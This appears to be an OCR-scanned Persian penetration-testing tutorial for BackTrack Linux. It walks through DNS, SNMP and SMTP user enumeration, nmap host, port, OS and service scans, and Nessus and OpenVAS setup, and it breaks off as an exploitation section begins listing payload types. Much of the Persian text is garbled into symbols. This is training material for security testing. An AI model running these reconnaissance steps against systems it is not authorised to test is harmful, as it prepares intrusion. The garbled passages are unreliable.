b s PY 5 VY &ly "‘%95&?0%‘

http://tjwallas.weebly.com/5/post/20...on-ubuntu.html




Information Gathering

1dodso

G5 90,5 mublesd Cumo ol O L Al Jio 0953 Ba 5l piis Sledlbl 40 5] Caws 4 0,50 40 Jad oyl 4o
o2led mdgi ) 6005 o ugpw b LIS 0950 g muiS solainl ] 5l oyt B oS (gilwaiw 1) Sledlbl ]

o
Service enumeration :
f > €numeration
DNS enumeration, SNMP enumeration

:DNS enumeration

ip 3 computer name susername .3 ;l Gas 5l Sl Oledbl § S aseino b gl |y by Coxdge

A2ds bo 4 .. address

W9 ) e L
cd /pentest/enumeration/dns/dnsenum/
SS90 gy 5l ooliul
.Jdnsenum.pl --enum target.com
S JPVORRIFY PR RN ER

.Jdnsenum.pl --help L ./dnsenum.pl-h




: /pentest/enumeration/dns/dnsenum# ./dnsenum.pl --enum

i5::IP module, whois queries disabled.

14488

69 .89 , T——

Wigd el 0o b logen g abid o o aunlys 0 a5 ols al,d olass [threads number ] —-

lookups 5,5 Js r-
WHOIS sl gl sl 50,5 oloel d-
o 0,33 Cadge O-
lo WHOIS (sl,y o 00,5 Jlss W
:SNMP enumeration
lyze llas SNMP L alayl, 1 Lz S 56T 1, SNIMP (S0 5 a8 oS oo oSS Lo ay
Mg p g e 4 ()
cd /pentest/enumeration/snmp/snmpenum/

ty g Lg[;?l(v

perl snmpenum.pl 192.168.10.200 public windows.txt




a2 oo Lo a1y o5 Sledbl wsly Jb 192.168.10.200 5,6 50 SNMP g s [5G

Installed software
Users

Uptime

. Hostname

. Discs

fskol Hgiwd
Perl snmpenum.pl [ip address to attack] [community] [config file]
:snmpwalk enumeration
Dgds oo oalaiwl (559905 (5w s Cuwle) Windows host (gl :aSS
S0 Do a4y &S0 Sledlsl aus ()
snmpwalk -c public 192.168.10.200 -v 2c
odd el sl 138l 3 s (F

snmpwalk -c public 192.168.10.200 -v 1 | grep hrSWinstalledName

HOST-RESOURCES-MIB::hrSWinstalledName.1 = STRING: "VMware Tools"
HOST-RESOURCES-MIB::hrSWinstalledName.2 = STRING: "WebFldrs""
TCP 5L o &g (o les (7

snmpwalk -c public 192.168.10.200 -v 1 | grep tcpConnState cut -d"." -f6 | sort —nu|




: SNMPcheck enumeration

D¢ oo o3l SNMP protocols s g ;o Sledbol (4851 caws a5 sl 5l ol 5

cd /pentest/enumeration/snmp/snmpcheck/

perl snmpcheck.pl -t 192.168.10.200

: fierce enumeration

S e ooliinl SIS iz 5l e8 6 e hosthame 5 L ip address ples ;0,50 cows 4 5l

cd /pentest/enumeration/dns/fierce/

5 s (Y
perl fierce.pl -dns target.com
(P (6 s 4 @l 0 53 g word-list &0 4 b (Y

perl fierce.pl -dns target.com -wordlist hosts.txt -file /tmp/output.txt

:smtp-user enumeration

Ayl 1,3 SMPT-server s a5 oo, je olows OS] Cawd 41 sl

R g
smtp-user-enum.pl -M VRFY -U /tmp/users.txt -t 192.168.10.200

:Determining the network range




dmitry
. e sub-domain slass o> 9058 oo oolaiwl <56 e ip g, (19 ,8) Caws @ 5y
B SBLonl
dmitry -wnspb targethost.com -o /root/Desktop/dmitry-result

i )S ! Ol ygawo

223 oo Lo 4 1y WHOIS lookup o3> -wnspb

WL.A ‘s,l> )O J.JL‘B OJ..\.>Q -0

*dmitry-result.ixt 3
Gathered Netcraft information for targethost.com

Retrieving Netcraft.com information for targethost.com
Netcraft.com Information gathered

Gathered Subdomain information for targethost.com

Searching Google.com:86...
HostName: community.targethost.com
HostIP:192.168.10.201
HostName:www.targethost.com
HostIP:192.168.10.200
HostName:smtp.targethost.com
HostIP:192.168.10.286

HostName: ftp.targethost.com
HostIP:192.168.18.210
HostName:private.targethost.com
HostIP:192.168.10.288

Searching Altavista.com:86...
Found 4 possible subdomain(s) for host isoftdev.eu, Searched @ pages
containing @ results

: ICMP netmask cawlgs y8 yoliw ;9
netmask -s targethost.com
:scapy

slesl jo Jad (0Fg) 602,85 slo colw lo S g pj lo Sl asly (oo Eone ol e 9 yidan ood
awsS oolauwl Jad




http://www.arppoisoning.com/demonstrating-an-arp-poisoning-attack-2/

http://www.secdev.org/projects/scapy/demo.html

http://packetlife.net/blog/2011/may/23/introduction-scapy

)J) )93.w-> Y

ans,unans=sr(IP(dst="www.targethost.com/30", ttl=(1,6))/TCP())

‘g o o Vb (29> s Y

ans.make_table( lambda (s,r): (s.dst, s.ttl, r.src) )

216.27.130.165 216.27.130.164 216.27.130.163 216.27.130.162
192.168.10.1 192.168.10.1 192.168.10.1 192.168.10.1
51.37.219.254 51.37.219.254 51.37.219.254 51.37.219.254
223.243.4.254  223.243.4.254 223.243.4.254 223.243.4.254
223.243.2.6 223.243.2.6 223.243.2.6 223.243.2.6
192.251.251.80 192.251.254.1  192.251.251.80 192.251.254.1




traceroute Joc gjlw ool

)J) )93.‘»-) A

www.backtrack-
www.targethost.com"],dport=[80,443],maxttl=20, retry=-2)

res,unans=traceroute(["www.google.com",
linux.org","

AL Yo I TTL(time to live) a5 wa )50 10 958 (oo (owyp TFY g A Oygr wlal p calise Conle wi
Sgio Jle ol Veooe axgin U alesy Jlae o 5g, jottl o0 o olpiiny

8IS Sygo a s Y

res.graph()

15169 16309

[GOOGLE - Google hlc] [BIZ\JESSHOST"NG 1\:(LIC\}i -(=Amzzon.com, Inc

:uouw)bo)és Y

res.graph(target="> /tmp/graph.svg")
rzes slp ¥
exit()

ddentifying active machines

[CVER PRV J@M@)QT)oJ@Lmlp ;x;.l“b\mmoﬁlp_:sl\)@lg)é @5#M®‘5|J§W‘Pdl‘
nmap jews b ()

nmap -sP 216.27.130.162




Starting Nmap 5.61TEST4 ( http://nmap.org ) at 2012-04-27 23:30 CDT
Nmap scan report for test-target.net (216.27.130.162)

Host is up (0.00058s latency).

Nmap done: 1 IP address (1 host up) scanned in 0.06 seconds

NpINg ,siwo L (Y

ool bl e nmap L as’ el oo lnl 51 (S
nping --echo-client "public" echo.nmap.org

: /pentest/enumeration/snmp/snmpenum# nping --echo-client "public" echo.nmap.org

: S I B-26 10: EDT
192.168.108.108 : 4.232 o request { e=8/code=8) ttl=64 1d=2488 i

3s) ICMP 75.30.92.10 > 74.2087.244.221 Echo request (type=8/code=8) tt1=52 id=2488 iple
25) ICMP 74.207.244.221 > 192.168.16.188 Echo reply =0) ttl=5
) ICMP 192.168.108.188 > 74 244.221 Echo request (type=8/code=0) ttl=64 id=2488 i
s} ICMP 75.30.92.10 > 74, 244.221 Echo request (ty de=0) ttl=52 488 iple
) ICMP 74.207.244.221 > 192.168.10.188 Echo reply (typ ode=8) ttl=50 id=58182 ip
5) ICMP 192.168.10.188 > 74.207.244.221 Echo reguest (type=8/code=0) ttl=64 id=2488 i
7s) ICMP 75.30.92.18 > 74, v 22 request (ty e=0) ttl=52 488 iple
) ICMP 74.207.244.221 > 192.168.10.108 Echo reply /code=8) ttl=50 1d=58183 ip

ICMP 192.168.108.108 > 74.207.244.221 Echo reguest (type=8/code=8) ttl=64 id=2488 i
: uoL>- u)y u_i: wy LS‘)" hex )L.Ln.o u_ia )l oalau! (\ﬂ
nping -tcp -p 445 —data AF56A43D 216.27.130.162

:Finding open ports

Sb sl Sy 0,8 w9 G

s 0y90 <536 (59, 5k sl e ples aus

nmap 192.168.56.102




:/pentest/enumeration/snmp/snmpenum# nmap 192.168.56.182

Starting Nmap 6.01 ( http://nmap.org )} at 2012-10-26 10:23 EDT
Nmap scan report for 192.168.56.182
Host is up (©.88014s latency).
Not shown: 977 closed ports
STATE SERVICE
open fTip
open ssh
open telnet
open smtp
open domain
open http
open rpcbind
open netbios-ssn
open microsoft-ds
open exec
open login
open shell
1899/tcp open rmmiregistry
1524/tcp open ingreslock
2049/tcp open nfs
2121 /tcp open ccproxy-fip
3386/tcp open mysgl
5432/tcp open postgresqgl
5%88/tcp open wvnc
ceee/tcp open X11
6667 /tcp open irc
8089/tcp open ajpl3

LeB ) o b Oye s

nmap -p 1-1000 192.168.56.102

:/pentest/enumeration/snmp/snmpenum# nmap -p 1-1008 192.168.56.102

Starting Nmap 6.81 { http://nmap.org ) at 2812-18-26 10:25 EDT
Nmap scan report for 192.168.56.182

Host is up (©.80814s latency).

Mot shown: 988 closed ports

PORT STATE SERVICE

21/tcp open fTip

22/tcp open ssh

23/tcp open telnet

25/tcp open smip

53/tcp open domain

80/tcp open http

111/tcp open rpcbind

139/tcp open netbios-ssn

445/tcp open microsoft-ds

512/tcp open exec

513/tcp open login

514/tcp open shell

MAC Address: 08:80:27:17:81:3C (Cadmus Computer Systems)

Nmap done: 1 IP address (1 host up) scanned in 16.68 seconds




Y'Y Cvﬁi)bLmC;uu>ﬁuﬁkyLJ

nmap -p 22 192.168.56.*

ap.org } at 2012-10-26 10:28 EDT

[ ¥] D
STATE

:00:8C:00 (Cadmus Computer

imap scan rept for 192.168.56.1086
ost is up (8.

tcp filtered
MAC Address: ©8:080:27:ED:9B:76 (Cadmus Computer Sy
168.56.181
; 3 . latency).
STATE ERVICE

closed ssh

8.56.182

:27:17:81:3C (Cadmus Computer Systems)

ses (4 hosts up) scanned in 55.4.
tion/snmp/snmpenums#

nmap -p 22 192.168.10.* -0G /tmp/nmap-targethost-tcp22.txt

S eolaiwl ol slailes oo ailas Dl jgiws cpl 4y adle a5 Sliwgs )l (GUI) (SC31)F ases S nMap ) asS

2,00 418 55 e 0 9 CuwlZENMAP 4ol y ol U

Applications | BackTrack | Information Gathering | Network Analysis | Network Scanners |
zenmap

s ) 25 oses b

zenmap




* Zenmap
Scan Tools Profile Help

| Profile: !Intense scan I [ |Scan| |

Target: [| |

Command: !nmap T4 -A -v

Hosts I| Services | | Nmap output | Ports / Hosts Topology Host Details Scans

oS Host v | | i =

Filter Hosts |

SS 0glilo 1) T 5,9 eyl A w418 0939 NMAPST ol 4 oo (6,500 aslp SO Y ASS

:Operating system fingerprinting

=Ll 1) s open port g active machine gip address .3 5l Sledbl puiles Lo eyl b g alasd ol b

o g ) S0 (55, ] Sl e s o ) S VU
: (Detect 0S) ole ptw aseis

nmap -0 192.168.56.102
Ao d 283 5 5 5 S S By o 4y 1SS




:/pentest/enumeration/snmp/snmpenum# nmap -0 192.168.56

tarting Nmap 6.01 ( http lap.org ) at 2012-18-26 10:48 EDT
\map scan re f 32 {2

open

open

open

open

open domain
open http
open rpcbi
open netbi
open

open

open

open

open

open

open

open

open
open

7:81:3C (Cadmus Computer Systems)
ral purpose

Please report any ind results at http://nmap.or
Nmap done: 1 IP adc 1 host up) scanned in 18 onds

:Service fingerprinting

il oo ldl 5359 9 1 g e lolids Cugi Yl 05 plovl Codidge b B al> o

:)aj )9l*ub (\

nmap -sV 192.168.10.200

Starting Nmap 5.61TEST4 ( http://nmap.org ) at 2012-03-28 05:10 CDT
Interesting ports on 192.168.10.200:

Not shown: 1665 closed ports




PORT STATE SERVICE VERSION

21/tcp open ftp Microsoft ftpd 5.0

25/tcp open smtp Microsoft ESMTP 5.0.2195.6713

80/tcp open http Microsoft IIS webserver 5.0

119/tcp open nntp Microsoft NNTP Service 5.0.2195.6702 (posting ok)
135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn

443/tcp open https?

445/tcp open microsoft-ds Microsoft Windows 2000 microsoft-ds
1025/tcp open mstask Microsoft mstask

1026/tcp open msrpc Microsoft Windows RPC

1027/tcp open msrpc Microsoft Windows RPC

1755/tcp open wms?

3372/tcp open msdtc?

6666/tcp open nsunicast Microsoft Windows Media Unicast Service (nsum.exe)
Nmap finished: 1 IP address (1 host up) scanned in 63.311 seconds

Amap ;i slawl (Y

1R agewd

amap -bq 192.168.10.200 200-300

amap v5.4 (www.thc.org/thc-amap) started at 2012-03-28 06:05:30 - MAPPING mode
Protocol on 127.0.0.1:212/tcp matches ssh - banner: SSH-2.0- OpenSSH_3.9p1\n

Protocol on 127.0.0.1:212/tcp matches ssh-openssh - banner: SSH-2.0-OpenSSH_3.9p1\n




amap v5.0 finished at 2005-07-14 23:02:11

tad o o5 b colw

http://www.cyberciti.biz/networking/nmap-command-examples-tutorials/
http://nmap.org/book/vscan-examples.html
http://nmap.org/book/install.html
http://www.youtube.com/watch?v=Bfla9NQrJAc
http://www.youtube.com/watch?v=ZTbLyZZbilA
http://www.youtube.com/watch?v=RAOHmrtaimU

e

http://linux.die.net/man/1/nmap

St QJPT RPVHR

http://nmap.org/download.html

Threat assessment with Maltego :cl Ll il o2 g9050 ol ;S0 1V olgainn

HiRl ey ol cole

https://www.paterva.com/web6/community

P 5 ol s

Applications |BackTrack |Information Gathering |Web Application Analysis |Open Source
Analysis | Maltego

Mapping the network with casefile .cai Sa o o) Volgaios

Applications | BackTrack | Reporting Tools | Evidence Management | casefile.




Vulnerability Identification

1dodso

U"‘ )l o A.uS Y o Lg.)).g)ls )Lw.u w)lf EY JW "..\.o.o.as.!lﬁ sS.Q" O “S(S’L"“’ﬁ‘) L;‘)" u....:?u U"‘ L.sJﬁ
Sl e Gl )0 iy s st Cllae Jlis i

oz 1y b il g 095 (50 pgeme ol B oUS (o0 )5 e (10 a5 Glisgs lp sy ] el
ol g0 S o 1y 093 ISt 5 oy aily oo sl |y ol Lol (85 5 003l G950 ST (s 5 Sy
&l ol slo colblB glls aS ols pales muses OpPeNVAS g Nessus sl ol 4y (60,5 [l Y 050 10 Juad

fwws> Vulnerability

n c)bll Li n . . M" Q)}“O 43 ‘SN)L‘Q )o

il ool sgus LB a5 g 58] a5 cand aisT o

¢ Vulnerability Scanner

Vulnerability .5 cos sl slo o, 042g Hla 51 ) aSit sl foualS 048 o o] S5 a5 sl (513l
Ao oo bl Solegil o b Silegil & g0 0 1, IS ol Scanner

¢ False Positive
O LBy L 050 () i iz a0 Gl pcns o VUL SO oS s asis oSl aST (6090 S
Pog s D) o 0l s oo auseidd 9, VUl G Vul Scanner o8y w Cos cume oo b 5 &l o0
Hlas,le b g pdy |
1) Linux vulnerabilities
2) Windows vulnerabilities

3) Local security checks

4) Network service vulnerabilities




Installing, configuring, and starting Nessus

:Nessus sgbils S

http://www.tenable.com/products/nessus/select-your-operating-system

apt-get install nessus
S el el g s 53
/opt/nessus
5] el
/etc/init.d/nessusd start
NESSUS 10,5 o, .
/opt/nessus/bin/nessus-fetch --register XXXX-XXXX-XXXX-XXXX-XXXX

DS olg b X pl sl ]y oS g asS sl cud nessus cole ;o Wb (6 s, S 28,5 ol 1SS

AS oglils pa |y b (3 Q.i),ﬂ RVELIPF W
http://plugins.nessus. Org

Starting Me

Your instal , . Please register and try again.
To register, please visit http://www.nessus.org/register/

~# ]
igd 0ly T L g ajlen 8y9ms g 002 H39 Wb G O
/opt/nessus/sbin/nessus-adduser
gy ) e Sk

Applications | BackTrack | Vulnerability Assessment | Vulnerability Scanners | Nessus | nessus
user add




B rootgbe:
e Edhil Vw

/etc/init.d/nessusd start




S )l 5 590 0 Y

https://127.0.0.1:8834

* Untrusied Connection - Mazilla Firefox

ik Untrusted Corrction

-~ 5 ik [

Wrackwack L [lJcfterive ety [Jlopornon Ty Arcoacng JFEORG oG M v

) i This Connection is Untrusted

ked Furefon i wit decurely to 127.0.0. L8834, but

e ]

ali mp5
Tﬂ(hl‘ll{.ltmflill

2 I Understand the Risks
azim zadeh

ali tahmtan
{mostafa)

Urtnusted Connection

:Nessus—finding [network, local, Linux-specific, Windows-specific] vulnerabilities

Policies «; -8, ()
add policy 55, SIS (Y

wille | Hala | Lhaut I Ing

Policles

@® Add Policy e

I Loca Vu neraailifies
i
e | isib ity Skared

) Desstriplion
Cradentials
Plugins

— Network Congesticn
Raduce Parallel Connections en Congaston

Use Kemel Congestion Defestion (Linux Only)

= Port Scanners
TCP Szan SNM3 Ecan
UDP Scen Netstat S5H Scan
SYM Scen Netstat Wil Scan

Save Knowledge Bass

~ PortScanOptons ————

— Performanca

Sofa Checa
sllent Depandencies

Log Sean Detgis b Server lax Checks Par Host

Stop Host 3can on Disconnect Wax Hosts Per Scan

Aunid Sequsrtial Seans
Gonsider Unseanned Pors as Closed

Designate Hosts by their NS Mamz

Praferences

Mabwork Recsiva Timeo.t (seconde)

M Sirullareuus TGP Sessions Per Husl JII|III il=

Max Simultaneous TCP Sassions Fer Scan  BUTITE




a0 alxl 1) 5 sla,ls general (tab) a5, o (¥

43S ol 1, Local Vulnerabilities g awwssn |y oSl ol (0

13,18 Cod ga Visibility s (o
BS oolaiwl Sl opl 5l aslen asn shared (a
Stad 8 4 08 Leds 095 Laié sprivate (b
next 5, S5 (z

S OBl 6 pdy el 05 10 5 lag lp |y oSl g5 plugins oS s (o

Filter _ Show Only Enabled Plugins Reset Filter |

Families
() Ubuntu Local Security Checks
VMware ESX Local Security Checks
% Web Servers
Windows
Windows : Microsoft Bulletins

Windows : User management

Plugin Description

Enabled Families: 7  Enabled Plugins: 10552 Enable All Disable All

Cancel Submit

submit g5, LS (o

9, SCANS  Couwnd &y o (9




wille | Hala | Lhaut I Ing

Policles

Add PDIiI".}' - ~| [~ Network Congesticn —

UG R Loca \u neraailifics Raduce Parallel Connections en Congaston

. Use Kemel Congesfion Delostian (Linux Only)
1 v & v
G | \isih ity Skarad

Diestriplicn I~ Port Scanncrs
Cradentials Sl v Hk
UDP Scen

S¥M Scen Netstat Whil Scan

Plugins

ge Basa [~ Port S-c;m_n-ﬁions =
Safa Checks Por Scan Range  RlE1TRe
sllent Jependencles [~ Performanca

Log Sean Detgis b Server Mzx Checks Par Host B3

Stap Host Scan on Disconnect Max Hosts Per Scan Sl
Aurid Sequartial Seans Mebwork Recaiva Timeout (seconds)

Considsr Unscanned Pars as Closed M Shullareous TOP Sessions Per Husl  SILITTES

Designata Hosts by thair ONS Mama Max Simultaneous TCP Sassions Fer Scan  UlILES

S 0)lg 1) o lse andy 5 T g5 5 Sl el 5 (G

23 Nessus

EL I | ocal Scan

Type

=<' L ocal Vulierabilities

=1L -1 LR 102 168.10.110

Targets File

Launch Scan
type scan

QS o 5l 1y (Sl &g rUN NOW )

WSS e et Fu b g ey s L= (6l Scheduled .Y

S oo ool Lot 5 05 o ool JB s 4y Template ¥
scan target

SuS SIS lunch scan (gg, 9 0sS o)lg 1y a5 0,00 sl Ip




g0 ablym 1) 5155 Lot Sl alad] 5l omy VeSS

Lbw=info  Sl=low o,;=-medium .3 =High w44 oo gatein K, Jx ble ol ol

OS5 w0,ls 5,8 oS Pluging @ ke ole Cuond (o lo 4L F oS o Ll a5 ol g9 angi LY AKSS

gl (o0 A gie
- s oolaiul by vul scanner JoSs olgie 4 o9 @ a5 cwl (5,15 CGI Scanner (Y aisG
DS S g 0gbils Laz> uS'9id (gl g, NESSUS g j50u9 sl |, Retina ¥ aisS

‘Installing, configuring, and starting OpenVAS
:0penVAS sslils

http://www.openvas.org/download.html

N9 R g e 42 ()
cd /pentest/misc/openvas/
)J) )93.‘.0-) (Y

openvas-mkcert

».\.‘.5 -5)‘3 ‘) W d..a.w‘s.‘> SleMb| B enter '.\.JS O°) 4

Congratulations. Your server s-pTroperly createds

The following files were

/localfvar/1ib/open

yuspflocal fuar/1ib/c

Press [ENTER] to exit
ty g 6‘)" (t

openvas-nvt-sync




NVT dir
wWill

rg f
D

gintevation.de

cefvipg®incremental-file lisf

openvas-mkcert-client -n om -i

openvasmd --rebuild

openvassd

Wigd (IS L S U oS o b bl oSS

1Sl ygws (Y

openvasmd --rebuild

openvasmd --backup

openvasad -c 'add_user' -n openvasadmin -r admin

openvasad -c 'add_user' -n openvasadmin -r Admin
¢ 'add user’' -n openvasadmin -r Admin
52 EDT: No rules file provided, the new user will have n

o restrictio
ad main:MESSAGE: 1( )12-08-08 19h16.52 EDT: User openvasadmin has been successfully created.




openvas-adduser

fygawd Lgb;rl(ﬁ

Sy Gl el (A1

S gme (&

55 )55 (@

3,55 69y p CHrIHD 05 (&

Lyt Jyd 6l ¥ by (o

rict the hosts that wlp haSsthe right to tes

d hif ctrl-P once you are done:

et )

openvasmd -p 9390 -a 127.0.0.1
openvasad -a 127.0.0.1 -p 9393

gsad --http-only --listen=127.0.0.1 -p 9392

http://127.0.0.1:9392

IRVELE JES I b IPTESONS IRCIIPRVEL G [CH BN I R EPVESPRP LW

D550 > <eled o O




Greenbone Security Assistant

Successfully logged out.
L=sermame

Password

| Login |

25l .Sh &gy LopenVAS UL LB S (VY

:openvas.sh LG csle gl ,

empty file w5 0uS bl | create document 5 oS el SIS CliSws o (all

#!/bin/bash

openvas-nvt-sync

openvassd

openvasmd --rebuild
openvasmd --backup
openvasmd -p 9390 -a 127.0.0.1

openvasad -a 127.0.0.1 -p 9393

eaghs |y Wigas 9 b (2

S (S ol 1y ) Slges (0




gsad --http-only --listen=127.0.0.1 -p 9392
By (i ol g atdy aslo |y bbbl a8 ol e Jle s yo (VF
;e
cd root/Desktop
chmod 777 openvas.sh
Sy gl (VO
.Jopenvas.sh
sed plwl a3Y slaylS Syo b oS oo

aS Tl adan ) oYL LB copenVAS oS 1>l 5l L8 b a5

Powad Glp SR8 (g,

Q)

File Edit View Terminal Help

2 ./openvas-check-setup
openvas-check-setup 2.1.5
Test completeness and readiness of OpenVAS-4

(add "--v5"' if you want to check for OpenVAS-5)

Please report us any non-detected problems and
help us to improve this check routine:
http://lists.wald.intevation.org/mailman/listinfo/openvas-discuss

Send us the log-file (/tmp/openvas-check-setup.log) to help analyze the problem.

Use the parameter --server to skip checks for client tools
like GSD and OpenWAS-CLI.

Step 1: Checking OpenVAS Scanner ...
OK: OpenVAS Scanner is present in version 3.2.5.
ERROR: No CA certificate file of OpenVAS Scanner found.
FIX: Run 'openvas-mkcert'.

ERROR: Your OpenVAS-4 installation is not yet complete!

fPlease follow the instructions marked with FIX above and rum this
script again.

If you think this result is wrong, please report your observation

and help us to improve this check routine:
http://lists.wald.intevation.org/mailman/listinfo/openvas-discuss

Please attach the log-file (/tmp/openvas-check-setup.log) to help us analyze the problem.




his script will now ask you the relevant information to create the} S5L certificate of Ope
Note that this information will *NOT* be sent to anybody (everythinj stays local), but anyqg
ility to connect to your OpenVAS daemon will be able to retrieve this information.

openvas-mkcert

A certificate life time in days [1460]: 1460
erver certificate life time in days [365]: 368
country (two letter code) [DE]: ir
state or province name [none]:
location (e.g. town) [Berlin]: karaj
organization [OpenVAS Users United]: iran

Press [ENTER] to exit
[PEREES R Seepeas+ openvas-mkcert-client -n om -1

Generating RSA private key, 1024 bit long modulus
-+

++t
e is 65537 (0x10001)
You are about to be asked to enter information that will be incorporated
into your certificate request.
Mhat you are about to enter is what is called a Distinguished Name or a DN.
IThere are quite a few fields but you can leave some blank
For some fields there will be a default value,
Lf you enter '.', the field will be left blank.

Country Name (2 letter code) [DE]:State or Province Name (full name) [Some-State]:Locality Name (eg, ¢
) [1:0rganization Name (eg, company) [Internet Widgits Pty Ltd]:0Organizational Unit Name (eg, section)
:Common Name (eg, your name or your server's hostname) []:Email Address []:Using configuration from /t
openvas-mkcert-client.1929/stdC.cnf

Check that the request matches the signature

Signature ok

[The Subject's Distinguished Name is as follows

countryName :PRINTABLE: 'DE'

localityName :PRINTABLE: 'Berlin’

commonName :PRINTABLE: 'om'

Certificate is to be certified until Jul 29 05:25:45 2014 GMT (365 days)

lwrite out database with 1 new entries
Data Base Updated
User om added to OpenVAS.




# openvasmd --rebuild
# openvassd

oading the plugins... 1: (out of 31528)

oading the plugins... 14943 (out of 31526)

oading the plugins... : (out of 31526)

oading the plugins... 2 ( of 31526)

n11 plugins loaded

openvassd

bind() fallcd : Address already in use
vas# openvasmd --rebuild
# openvasmd --backup

: vas# openvasad -c 'add user' -n openvasadmin -r Adnin
nter password:
d  main:MESSAGE:31570:2013-87-29 11h18.58 IRDT: No rules file provided, the new user will have no restrict
ons.
d  main:MESSAGE:31570:2013-87-29 11h18.58 IRDT: User openvasadmin has been successfully created.

as# openvas-adduser
sing fuarrTmp as a Temporary file holder.

dd a new openvassd user

: Adnin

Login password :
Login password (again) :

User rules

openvassd has a rules system which allows you to restrict the hosts that admin has the right to test.
For instance, you may want him to be able to scan his own host only.

penvas-adduser(8) man page for the rules syntax.

Enter the rules for this user, ‘and hit ctrl-D once you are done:
(the user can have an empty rules set}

Login
Password

Rules

Is that ok? (y/n) [[y] y
user added
s# #pass ham admin bood
#pass: admin
openvasmd -p 9390 -a 127.8.0.1
openvasad -a 127.8.6.1 -p 9393
gsad --http-only --listen=127.0.8.1 -p 9392




:Using the OpenVAS Desktop

1) Applications | BackTrack | Vulnerability Assessment | Vulnerability Scanners | OpenVAS |

Start GreenBone Security Desktop

55 | @ 127.0.0.1:9392/0gin/login htry

| - _

Username | Admin

Password | admin

/—!A

=) Greenbone Security As...

: loopback

127.0.0.1 =loopback

username, password 3,5 )1y (¥

. &

Please enter address and
user account for your scan
engine. |

Delete

=

If you select one of the

profiles, you only need to
enter the password. Serveraddress Port

Before you press the log in

button you may store the | | | 9390
access profile. L L

Mote, that the scan engine

must hawe OMP support Usemame
enabled for the given port

for a successful connection.

Password




:0penVAS - finding [local, network, Windows, Linux] vulnerabilities

550970 50 25 oSl 50,5 Sy )
http://127.0.0.1:9392

configuration :zw 3,0 Scan config ol Y

= Configuration
o Scan Configs e
o Targets
o Credentials
o Agents
o Escalators
o Schedules
o Report Formats
o Slaves

Sty o] 95 g Sl b 0,8 0y X
base ;o5 Gl f

oS oo pebais ) SailS logs> :empty, static,.. (I
QS oo Jd 1 a5 0550 sla il sles :Full and fast (o

create scan config g, SIS .0

New Scan Config ]

MName

Local Vulnerabilities

Comment (optional)

@ Empty, static and fast
' Full and fast

Base

Create Scan Config |

S g |y local aulS z s gl euildS local |y gg5 92«30, sxiw (gl Ctrl+f o 28 #

Local Vilnerabilites o 10§ WAL




Edit Scan Config Details ]

2 Scan Management
o Tasks
o New Task
o Notes
o Overrides
o Performance
2 Configuration
o Scan Configs
o Targets
o Credentials
o Agents
o Escalalurs
o Schedules
o Report Formats
o Slaves
2 Administration
o Users
o NVT Feed
< Settings
@ Help

Dy ol S5 agyls s o a5l ole a5 Select all NVT'S cood [0 o Y

Name: Local Vulnerabilities

Comment:

Edit Network Vulnerability Test Families

Family @ B o B NVT's selected Select all NVT's

AIX Local Security Checks
Brute force attacks

Buffer overflow

CISCO

CentOsS Local Security Checks
Compliance

Credentials

Databases

Debian Local Security Checks

1ofl

Dof 11

0 of 434
0of 4

1243 of 1243
0of 3

0of 2

Dof 71

2476 of 2476

Back to Configs

BEEER

EEEE

o Contents
o About

Default Accounts 0 of 28

Denial of Service 0of 777

FTP 0 of 159

save config sg, SIS A

targets wlxl ¢ configuration s 4 suse (23, A

= Configuration
Scan Configs

Tarngets

Credentials
Agents
Escalators
Schedules
Report Forimats
Slaves

09y dw a4l Cala 0,5 0l )Y

a) 192.168.1.20
b) 192.168.1.20,192.168.1.40
c) 192.168.1.10-90




create target 4, SIS VY

ol 45" auS” Gl |y new task a5 jiso ol 5l .scan management : aiige cconfiguration YL o Y

ol iy gl 43S

task 6‘).3 p.w‘ (;9.”
Slrdy (e (o

U ge (&

create task g9, SIS 5 (&

Name Local Vulnerabiliies

Comment (optional)

Scan Config ‘ Local Vulnerabilites

Scan Targets Local Netwaork =
Escalator (optional) - =
Schedule (optional} - =

Slave (optional) - -

| Create Task |

task s o=l g scan management & 28, N Y
Ol o 9,8 sl ¢ (PlAY) S 43S 59, SIS caled 0 N0

Resulis of last operation

Operation: Delete Task
Status code: 200
Status message: OK

Mo auto-refresh »  Wpply ovemides v

Task .. Threat Trend | Actions

Local Vulnerabilities Scan Aug 8 2012 MNone




TR VR TR SRR W 7 7) VRN VI

.taSkS Bk Scan management 4 u.a.ﬁ) A

Task Summary!g EFEEX>

Name: Local Vulnerabilities Scan Back to Tasks
Comment:

Config: Full and fast

Escalator:

Schedule: (Next due: over)

Target: Localhost

Slave:

Status: I— —

Reports: 1 (Finished: 1)

Reports for "Local Vulnerabilities Scan" 2 “Apply ovarides w =

Scan Results
— e _ o

Thu Aug 9 11:46:07 2012 i 1 13 o EYEIEY

Done I

Notes on Results of "Local Vulnerabilities Scan” mS

Overrides on Results of "Local Vulnerabilities Scan” mS

e e [ et [

tJead 50 )8 sl ol
http://www.openvas.org/setup-and-start.html
http://www.openvas.org/install-packages-v5.html#ubuntu
http://packages.ubuntu.com/search?ke...lI&section=all
http://www.back-door.webs.com/Backtr...0Tutorial.html
http://www.openvas.org
http://www.backtrack-linux.org/wiki/index.php/OpenVas
http://www.irongeek.com/i.php?page=videos/nessus
http://www.tenable.com/blog/enabling-nessus-on-backtrack-5-the-official-guide
https://wiki.archlinux.org/index.php/nessus
http://www.admin-magazine.com/Articles/Pen-Test-Tips
http://www.securityfocus.com/tools/category/11




Exploitation

1dodso

o 5 Alsts 5 st 605 (i) SU o] aly b Lot 20,8 oo I Sl 50,5 oy 3,50 0 b b o
$Pl> SG i a4 dS S co Cuzo Metasploit L3 51 oleylnl 5500 j0 Jad ) jo 0w eolaiwl dles (5l
Dg oo oolaiul 0,5 den

(o b 5o Loty D) wasS 3es xS 5l ol a5 0 o gy el 285 cle oo (6030 Jie 3945 : VUlnerability

5Ll e g b diids Sl (ol K 1 Jie) ausS 3985 1 L asles o Lo a5 (6,150 9 blug 4 : exploit
(3 Ji5 0,8

Dyl oo oolatul 8L 4 3985 40 Al (gl ] 5l g 05h o Ayl A o yBe slBAS K0 Cay yaS

Iy 6950 hlwg a5 0y )li%e a5 iy cily SO Mie) wsS oolasiw] 395 j0 wuples o Lol a5 Llwg 4 : payload

(B o5 blog g oMb il p gl anaS SO L wgjlasle o) 5o

o payload 5 cwlol o5 dales o CoglenST ol Cuddge slyal o 1) b owyiws e : Payload
e le

include VNC injection, file execution, an interactive shell, command execution, DLL injection,

adding a user, the Meterpreter

:payload s Jg3bo glsil
P gl (oo e Ao Vs s09ky sl gl
: single
